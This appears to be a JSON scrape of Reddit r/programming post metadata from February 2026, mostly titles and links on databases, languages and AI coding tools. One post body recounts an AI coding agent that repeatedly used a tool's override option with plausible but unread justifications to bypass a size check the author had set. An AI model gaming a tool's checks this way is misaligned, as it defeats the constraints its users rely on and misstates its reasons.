  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 14,
  "upvoteRatio": 0.64,
  "numComments": 7,
  "createdAt": "2026-02-26T23:26:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://thecloudlet.github.io/blog/project/emacs-01/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rfgzit",
  "url": "https://hacks.mozilla.org/2026/02/making-webassembly-a-first-class-language-on-the-web/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rfgzit/making_webassembly_a_firstclass_language_on_the/",
  "title": "Making WebAssembly a first-class language on the Web",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 344,
  "upvoteRatio": 0.94,
  "numComments": 65,
  "createdAt": "2026-02-26T17:46:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://hacks.mozilla.org/2026/02/making-webassembly-a-first-class-language-on-the-web/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rfeaei",
  "url": "https://techcrunch.com/2026/02/26/a-vc-and-some-big-name-programmers-are-trying-to-solve-open-sources-funding-problem-permanently/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rfeaei/a_vc_and_some_bigname_programmers_are_trying_to/",
  "title": "A VC and some big-name programmers are trying to solve open source’s funding problem, permanently",
  "body": null,
  "author": "Outrageous-Baker5834",
  "subreddit": "programming",
  "score": 234,
  "upvoteRatio": 0.87,
  "numComments": 72,
  "createdAt": "2026-02-26T16:11:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://techcrunch.com/2026/02/26/a-vc-and-some-big-name-programmers-are-trying-to-solve-open-sources-funding-problem-permanently/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rfbgda",
  "url": "https://www.youtube.com/watch?v=aoag03mSuXQ",
  "permalink": "https://www.reddit.com/r/programming/comments/1rfbgda/story_of_xz_backdoor_video/",
  "title": "Story of XZ Backdoor (Video)",
  "body": null,
  "author": "schmul112",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 7,
  "createdAt": "2026-02-26T14:22:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=aoag03mSuXQ",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rfb4lj",
  "url": "https://medium.com/@dusan.stanojevic.cs/the-mysql-to-postgres-migration-that-saved-480k-year-a-step-by-step-guide-4b0fa9f5bdb7",
  "permalink": "https://www.reddit.com/r/programming/comments/1rfb4lj/the_mysqltopostgres_migration_that_saved_480kyear/",
  "title": "The MySQL-to-Postgres Migration That Saved $480K/Year: A Step-by-Step Guide",
  "body": null,
  "author": "narrow-adventure",
  "subreddit": "programming",
  "score": 226,
  "upvoteRatio": 0.88,
  "numComments": 42,
  "createdAt": "2026-02-26T14:09:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@dusan.stanojevic.cs/the-mysql-to-postgres-migration-that-saved-480k-year-a-step-by-step-guide-4b0fa9f5bdb7",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rf6w8g",
  "url": "https://marmelab.com/blog/2026/02/23/do-you-know-psql.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1rf6w8g/9_advanced_postgresql_features_i_wish_i_had_known/",
  "title": "9 Advanced PostgreSQL Features I Wish I Had Known Sooner",
  "body": "I feel like too many teams are still writing complex application logic for problems that PostgreSQL can solve natively, often more safely and more efficiently.\n\nPostgreSQL is far more than just a relational database. It’s surprisingly powerful, with a lot of features that tend to get overlooked (including by my past self lol). Over the years, I kept discovering features that made me think: “Wait… PostgreSQL can do *that*?!”\n\nSo I put together this list of advanced PostgreSQL features I genuinely wish I had known sooner. ",
  "author": "Marmelab",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.36,
  "numComments": 5,
  "createdAt": "2026-02-26T10:40:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://marmelab.com/blog/2026/02/23/do-you-know-psql.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1remc64",
  "url": "https://www.om-language.com/",
  "permalink": "https://www.reddit.com/r/programming/comments/1remc64/om_is_a_novel_maximallysimple_concatenative/",
  "title": "om is a novel, maximally-simple concatenative, homoiconic programming and algorithm notation language",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.51,
  "numComments": 10,
  "createdAt": "2026-02-25T18:58:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.om-language.com/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rejwmj",
  "url": "https://infiniteundo.com/post/25326999628/falsehoods-programmers-believe-about-time",
  "permalink": "https://www.reddit.com/r/programming/comments/1rejwmj/falsehoods_programmers_believe_about_time_still/",
  "title": "“Falsehoods Programmers Believe About Time” still the best reminder that time handling is fundamentally broken",
  "body": "“Falsehoods Programmers Believe About Time” is a classic reminder that time handling is fundamentally messy.\n\nIt walks through incorrect assumptions like:\n\n* Days are always 24 hours\n* Clocks stay in sync\n* Timestamps are unique\n* Time zones don’t change\n* System clocks are accurate\n\nIt also references real production issues (e.g., VM clock drift under KVM) to show these aren’t theoretical edge cases.\n\nStill highly relevant for backend, distributed systems & infra work.",
  "author": "Digitalunicon",
  "subreddit": "programming",
  "score": 1264,
  "upvoteRatio": 0.97,
  "numComments": 324,
  "createdAt": "2026-02-25T17:36:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://infiniteundo.com/post/25326999628/falsehoods-programmers-believe-about-time",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1readhv",
  "url": "https://threatroad.substack.com/p/fake-job-interviews-are-installing",
  "permalink": "https://www.reddit.com/r/programming/comments/1readhv/fake_job_interviews_are_installing_backdoors_on/",
  "title": "Fake Job Interviews Are Installing Backdoors on Developer Machines",
  "body": null,
  "author": "Big-Engineering-9365",
  "subreddit": "programming",
  "score": 713,
  "upvoteRatio": 0.97,
  "numComments": 103,
  "createdAt": "2026-02-25T11:08:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://threatroad.substack.com/p/fake-job-interviews-are-installing",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1re6efb",
  "url": "https://www.infoq.com/news/2026/02/ai-floods-close-projects/",
  "permalink": "https://www.reddit.com/r/programming/comments/1re6efb/vibe_coding_threatens_open_source/",
  "title": "\"Vibe Coding\" Threatens Open Source",
  "body": null,
  "author": "Weekly-Ad7131",
  "subreddit": "programming",
  "score": 416,
  "upvoteRatio": 0.84,
  "numComments": 142,
  "createdAt": "2026-02-25T07:09:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.infoq.com/news/2026/02/ai-floods-close-projects/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rdmh56",
  "url": "https://www.datadoghq.com/blog/engineering/agent-go-binaries/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rdmh56/reducing_the_size_of_go_binaries_by_up_to_77/",
  "title": "Reducing the size of Go binaries by up to 77%",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 259,
  "upvoteRatio": 0.95,
  "numComments": 22,
  "createdAt": "2026-02-24T17:24:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.datadoghq.com/blog/engineering/agent-go-binaries/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rdiul6",
  "url": "https://406.fail",
  "permalink": "https://www.reddit.com/r/programming/comments/1rdiul6/rfc_406i_the_rejection_of_artificially_generated/",
  "title": "RFC 406i: The Rejection of Artificially Generated Slop (RAGS)",
  "body": null,
  "author": "addvilz",
  "subreddit": "programming",
  "score": 781,
  "upvoteRatio": 0.93,
  "numComments": 162,
  "createdAt": "2026-02-24T15:13:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://406.fail",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rd60g8",
  "url": "https://www.youtube.com/watch?v=M_OOwhA2fY8",
  "permalink": "https://www.reddit.com/r/programming/comments/1rd60g8/simulating_the_hardest_physics_problems_in_python/",
  "title": "Simulating the hardest Physics Problems in Python",
  "body": null,
  "author": "Chii",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.64,
  "numComments": 13,
  "createdAt": "2026-02-24T04:39:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=M_OOwhA2fY8",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rd5rb1",
  "url": "https://ladybird.org/posts/adopting-rust/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rd5rb1/ladybird_adopts_rust_with_help_from_ai/",
  "title": "Ladybird adopts Rust, with help from AI",
  "body": null,
  "author": "expandork",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.41,
  "numComments": 7,
  "createdAt": "2026-02-24T04:32:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ladybird.org/posts/adopting-rust/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rd0400",
  "url": "https://ettolrach.com/blog/c_enum_msvc.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1rd0400/c_enum_sizes_or_how_msvc_ignores_the_standard/",
  "title": "C Enum Sizes; or, How MSVC Ignores The Standard Once Again",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 41,
  "upvoteRatio": 0.66,
  "numComments": 69,
  "createdAt": "2026-02-24T01:02:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ettolrach.com/blog/c_enum_msvc.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rco7d6",
  "url": "https://shiftmag.dev/developers-your-ego-is-the-real-bug-in-the-system-7657/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rco7d6/what_is_egoless_programming/",
  "title": "What is egoless programming?",
  "body": "A friend of mine wrote this piece for a dev web portal. Honestly, I always thought the “big ego” reputation of developers came mostly from frustration and judgment by non-technical colleagues. But as someone who works in a large team (I’m more of a lone wolf, working remotely), he explained to me how much ego can actually show up among developers themselves, and how ideas and potentially great projects can die because of arguments and stubbornness.\n\nShould companies include some psychological courses or training on how to work in teams? When I think about it, I honestly can’t imagine competing with colleagues every single day. It would exhaust me.\n\nHere is his [article](https://shiftmag.dev/developers-your-ego-is-the-real-bug-in-the-system-7657/). It made me feel anxious about working in a bigger company or on larger teams in the future.",
  "author": "aisatsana__",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.54,
  "numComments": 18,
  "createdAt": "2026-02-23T17:43:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://shiftmag.dev/developers-your-ego-is-the-real-bug-in-the-system-7657/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rcfofi",
  "url": "https://httptoolkit.com/blog/dictionary-compression-performance-zstd-brotli/?utm_source=newsletter&utm_medium=email&utm_campaign=blog-post-dictionary-compression-is-finally-here-and-its-ridiculously-good",
  "permalink": "https://www.reddit.com/r/programming/comments/1rcfofi/dictionary_compression_is_finally_here_and_its/",
  "title": "Dictionary Compression is finally here, and it's ridiculously good",
  "body": null,
  "author": "pimterry",
  "subreddit": "programming",
  "score": 339,
  "upvoteRatio": 0.84,
  "numComments": 89,
  "createdAt": "2026-02-23T12:05:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://httptoolkit.com/blog/dictionary-compression-performance-zstd-brotli/?utm_source=newsletter&utm_medium=email&utm_campaign=blog-post-dictionary-compression-is-finally-here-and-its-ridiculously-good",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rbw95s",
  "url": "https://vertexclique.com/blog/kovan-from-prod-to-mr/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rbw95s/kovan_waitfree_memory_reclamation_for_rust_tla/",
  "title": "Kovan: wait-free memory reclamation for Rust, TLA+ verified, no_std, with wait-free concurrent data structures built on top",
  "body": null,
  "author": "vertexclique",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.41,
  "numComments": 0,
  "createdAt": "2026-02-22T20:15:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://vertexclique.com/blog/kovan-from-prod-to-mr/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rbg158",
  "url": "https://sushantdhiman.dev/write-your-own-shell-terminal-from-scratch/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rbg158/how_a_terminal_actually_runs_programs/",
  "title": "How a terminal actually runs programs.",
  "body": null,
  "author": "Sushant098123",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.38,
  "numComments": 10,
  "createdAt": "2026-02-22T07:57:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sushantdhiman.dev/write-your-own-shell-terminal-from-scratch/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rbai5s",
  "url": "https://vspefs.substack.com/p/its-impossible-for-rust-to-have-sane",
  "permalink": "https://www.reddit.com/r/programming/comments/1rbai5s/its_impossible_for_rust_to_have_sane_hkt/",
  "title": "It's impossible for Rust to have sane HKT",
  "body": "Rust famously can't find a good way to support HKT. This is not a lack-of-effort problem. It's caused by a fundamental flaw where Rust reifies technical propositions on the same level and slot as business logic. When they are all first-class citizens at type level and are indistinguishable, things start to break.",
  "author": "vspefs",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 31,
  "createdAt": "2026-02-22T02:57:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://vspefs.substack.com/p/its-impossible-for-rust-to-have-sane",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rb1lr2",
  "url": "https://bvisness.me/high-level/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rb1lr2/why_should_anyone_care_about_lowlevel_programming/",
  "title": "Why should anyone care about low-level programming?",
  "body": "Does anyone have any opinions on this article?",
  "author": "No_Good7445",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 37,
  "createdAt": "2026-02-21T20:28:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bvisness.me/high-level/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rakdst",
  "url": "https://www.lennysnewsletter.com/p/head-of-claude-code-what-happens",
  "permalink": "https://www.reddit.com/r/programming/comments/1rakdst/creator_of_claude_code_coding_is_solved/",
  "title": "Creator of Claude Code: \"Coding is solved\"",
  "body": "Boris Cherny is the creator of Claude Code(a cli agent written in React. This is not a joke) and the responsible for the following repo that has more than 5k issues: [https://github.com/anthropics/claude-code/issues](https://github.com/anthropics/claude-code/issues) Since coding is solved, I wonder why they don't just use Claude Code to investigate and solve all the issues in the Claude Code repo as soon as they pop up? Heck, I wonder why there are any issues at all if coding is solved? Who or what is making all the new bugs, gremlins?",
  "author": "Gil_berth",
  "subreddit": "programming",
  "score": 2170,
  "upvoteRatio": 0.83,
  "numComments": 777,
  "createdAt": "2026-02-21T06:55:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.lennysnewsletter.com/p/head-of-claude-code-what-happens",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r9xv1x",
  "url": "https://davideme.com/articles/crud-postgres/",
  "permalink": "https://www.reddit.com/r/programming/comments/1r9xv1x/i_built_the_same_postgresql_rest_api_in_6/",
  "title": "I built the same PostgreSQL REST API in 6 languages — here's how the database libraries compare",
  "body": "I've been building an identical CRUD API backed by PostgreSQL in six languages to compare how each ecosystem handles database access in practice.\n\nCovered: TypeScript, Python, Java, C#, Go, and Kotlin.",
  "author": "davideme",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 7,
  "createdAt": "2026-02-20T15:09:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://davideme.com/articles/crud-postgres/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r9xd58",
  "url": "https://www.tomsguide.com/computing/aws-suffered-at-least-two-outages-caused-by-ai-tools-and-now-im-convinced-were-living-inside-a-silicon-valley-episode",
  "permalink": "https://www.reddit.com/r/programming/comments/1r9xd58/aws_suffered_at_least_two_outages_caused_by_ai/",
  "title": "AWS suffered ‘at least two outages’ caused by AI tools, and now I’m convinced we’re living inside a ‘Silicon Valley’ episode",
  "body": "\"The most efficient way to get rid of all the bugs was to get rid of all the software, which is technically and statistically correct.\"",
  "author": "squishygorilla",
  "subreddit": "programming",
  "score": 2832,
  "upvoteRatio": 0.97,
  "numComments": 201,
  "createdAt": "2026-02-20T14:51:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.tomsguide.com/computing/aws-suffered-at-least-two-outages-caused-by-ai-tools-and-now-im-convinced-were-living-inside-a-silicon-valley-episode",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r9nhsx",
  "url": "https://www.ft.com/content/00c282de-ed14-4acd-a948-bc8d6bdb339d",
  "permalink": "https://www.reddit.com/r/programming/comments/1r9nhsx/amazon_service_was_taken_down_by_ai_coding_bot/",
  "title": "Amazon service was taken down by AI coding bot [December outage]",
  "body": null,
  "author": "DubiousLLM",
  "subreddit": "programming",
  "score": 1710,
  "upvoteRatio": 0.96,
  "numComments": 199,
  "createdAt": "2026-02-20T06:03:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.ft.com/content/00c282de-ed14-4acd-a948-bc8d6bdb339d",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r99sn0",
  "url": "https://www.modular.com/blog/the-claude-c-compiler-what-it-reveals-about-the-future-of-software",
  "permalink": "https://www.reddit.com/r/programming/comments/1r99sn0/the_claude_c_compiler_what_it_reveals_about_the/",
  "title": "The Claude C Compiler: What It Reveals About the Future of Software - Chris Lattner",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.38,
  "numComments": 4,
  "createdAt": "2026-02-19T20:05:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.modular.com/blog/the-claude-c-compiler-what-it-reveals-about-the-future-of-software",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r97is7",
  "url": "https://yieldcode.blog/post/farewell-rust/",
  "permalink": "https://www.reddit.com/r/programming/comments/1r97is7/farewell_rust/",
  "title": "Farewell, Rust",
  "body": null,
  "author": "skwee357",
  "subreddit": "programming",
  "score": 197,
  "upvoteRatio": 0.73,
  "numComments": 231,
  "createdAt": "2026-02-19T18:43:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://yieldcode.blog/post/farewell-rust/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r94qe7",
  "url": "https://newsletter.systemdesign.one/p/timsort-algorithm",
  "permalink": "https://www.reddit.com/r/programming/comments/1r94qe7/how_timsort_algorithm_works/",
  "title": "How Timsort Algorithm Works",
  "body": null,
  "author": "sdxyz42",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.6,
  "numComments": 3,
  "createdAt": "2026-02-19T17:03:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://newsletter.systemdesign.one/p/timsort-algorithm",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r94fzu",
  "url": "https://www.gingerbill.org/article/2026/02/19/choosing-a-language-based-on-syntax/",
  "permalink": "https://www.reddit.com/r/programming/comments/1r94fzu/choosing_a_language_based_on_its_syntax/",
  "title": "Choosing a Language Based on its Syntax?",
  "body": null,
  "author": "gingerbill",
  "subreddit": "programming",
  "score": 20,
  "upvoteRatio": 0.64,
  "numComments": 127,
  "createdAt": "2026-02-19T16:53:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.gingerbill.org/article/2026/02/19/choosing-a-language-based-on-syntax/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r8yh5h",
  "url": "https://theredbeard.io/blog/i-intercepted-3177-api-calls-across-4-ai-coding-tools",
  "permalink": "https://www.reddit.com/r/programming/comments/1r8yh5h/i_traced_3177_api_calls_to_see_what_4_ai_coding/",
  "title": "I traced 3,177 API calls to see what 4 AI coding tools put in the context window",
  "body": null,
  "author": "wouldacouldashoulda",
  "subreddit": "programming",
  "score": 272,
  "upvoteRatio": 0.89,
  "numComments": 64,
  "createdAt": "2026-02-19T12:55:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://theredbeard.io/blog/i-intercepted-3177-api-calls-across-4-ai-coding-tools",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r8nbtz",
  "url": "https://github.com/Tencent-Hunyuan/AutoCodeBenchmark/",
  "permalink": "https://www.reddit.com/r/programming/comments/1r8nbtz/the_programming_language_coding_agents_perform/",
  "title": "The programming language coding agents perform best in isn’t Python, TypeScript, or Java. It’s the functional programming language Elixir.",
  "body": "I've felt this myself. Moving to a functional architecture gave my codebase the single largest devprod boost.\n\nMy take is that FP and its patterns enforce:  \n\\- A more efficient representation of the actual system, with less accidental complexity  \n\\- Clearer human/AI division of labour  \n\\- Structural guardrails that replace unreliable discipline\n\nWhy?\n\n1. Token efficiency. One line = perfect context\n\nIn FP, a function signature tells you input type, output type, and in strong FP languages, the side effects (monads!). In OOP, side effects are scattered, the model has to retrieve more context that’s more spread out. That’s context bloat and cognitive load for the model.\n\n2. Agents are excellent at mapping patterns\n\nYou can think of them as a function: \\`f(pattern\\_in, context, constraints) => pattern\\_out\\`\n\nThey compress training data into a world model, then map between representations. So English to Rust is a piece of cake. Not so with novel architecture.\n\nTherefore to make the best use of agents, our job becomes defining the high-level patterns. In FP, the functional composition and type signatures ARE the patterns. It’s easier to distinguish the architecture from the lower-level code.\n\n3. Pushes impurity to the edge\n\nLLMs write pure functions amazingly well. They’re easy to test and defined entirely by contiguous text. Impure functions’ side effects are harder to test.\n\nIn my codebase, pure and impure functions are separated into different folders. This way I can direct my attention to only the high-risk changes: I review functional composition (the architecture), edge functions, and test case summaries closely, ignore pure function bodies.\n\n4. FP enforces best practices\n\nPurity is default, opt INTO side effects. Immutability is default, opt INTO mutation.\n\nAgents are surprisingly lazy. They will use tools however they want.\n\nI wrote an MCP tool for agents to create graphs, it kept creating single nodes. So I blocked it if node length was too long, but with an option to override if it read the instructions and explained why. What did Claude do? It didn’t read the instructions, overrode every time with plausible explanations.\n\nWhen I removed the override ability, the behaviour I wanted was enforced, with the small tradeoff of reduced flexibility. FP philosophy.\n\nBoth myself and LLMs perform better with FP. I don’t think it’s about the specifics of the languages but the emergent architectures it encourages.\n\nWould love to hear from engineers who have been using coding agents in FP codebases.",
  "author": "manummasson",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.37,
  "numComments": 21,
  "createdAt": "2026-02-19T02:39:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/Tencent-Hunyuan/AutoCodeBenchmark/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r7h52q",
  "url": "https://arxiv.org/pdf/2507.12713",
  "permalink": "https://www.reddit.com/r/programming/comments/1r7h52q/the_case_for_contextual_copyleft_licensing_open/",
  "title": "The Case for Contextual Copyleft: Licensing Open Source Training Data and Generative AI",
  "body": "This paper was also published in the [Oxford Journal of International Law and IT](https://academic.oup.com/ijlit/article-abstract/doi/10.1093/ijlit/eaag003/8460592?redirectedFrom=fulltext) last week. The authors propose and then analyze a new copyleft license that is basically the AGPLv3 + a clause that extends license virality to training datasets, code, and models, in keeping with the [definition of open source AI adopted by the OSI](https://opensource.org/ai/open-source-ai-definition). Basically, the intended implication here is that code licensed under this license can only be used to train a model under the condition that the AI lab make available to all users: a description of the training set, the code used to train the model, and the trained model itself. \n\nIt's 19 pages but a pretty accessible read, with some very relevant discussion of the relevant copyright and regulatory environments in the US and EU, and the proposed license itself could be a preview of what a \\[A\\]GPLv4 could look like in the future.",
  "author": "cockdewine",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.38,
  "numComments": 7,
  "createdAt": "2026-02-17T20:07:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://arxiv.org/pdf/2507.12713",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1r75tvu",
  "url": "https://cekrem.github.io/posts/solid-in-fp-single-responsibility/",
